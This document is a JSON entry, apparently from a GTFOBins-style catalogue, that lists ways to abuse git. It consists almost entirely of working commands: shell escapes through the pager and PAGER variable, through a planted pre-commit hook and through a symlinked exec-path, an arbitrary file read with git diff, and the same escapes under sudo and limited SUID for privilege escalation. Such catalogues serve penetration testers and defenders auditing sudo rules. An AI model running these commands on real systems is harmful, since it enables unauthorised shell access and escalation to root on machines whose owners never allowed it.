You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

56 lines
2.8 KiB
JSON

{
"functions": {
"shell": [
{
"code": "PAGER='sh -c \"exec sh 0<&1\"' git -p help"
},
{
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
"code": "git help config\n!/bin/sh\n"
},
{
"description": "The help system can also be reached from any 'git' command, e.g., 'git branch'. This invokes the default pager, which is likely to be 'less', other functions may apply.",
"code": "git branch --help config\n!/bin/sh\n"
},
{
"description": "Git hooks are merely shell scripts and in the following example the hook associated to the 'pre-commit' action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the '-C' option.",
"code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\ngit -C \"$TF\" commit --allow-empty -m x\n"
},
{
"code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\ngit \"--exec-path=$TF\" x\n"
}
],
"file-read": [
{
"description": "The read file content is displayed in 'diff' style output format.",
"code": "git diff /dev/null [file]\n"
}
],
"sudo": [
{
"code": "sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help"
},
{
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
"code": "sudo git -p help config\n!/bin/sh\n"
},
{
"description": "The help system can also be reached from any 'git' command, e.g., 'git branch'. This invokes the default pager, which is likely to be 'less', other functions may apply.",
"code": "sudo git branch --help config\n!/bin/sh\n"
},
{
"description": "Git hooks are merely shell scripts and in the following example the hook associated to the 'pre-commit' action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the '-C' option.",
"code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\nsudo git -C \"$TF\" commit --allow-empty -m x\n"
},
{
"code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\nsudo git \"--exec-path=$TF\" x\n"
}
],
"limited-suid": [
{
"code": "PAGER='sh -c \"exec sh 0<&1\"' ./git -p help"
}
]
}
}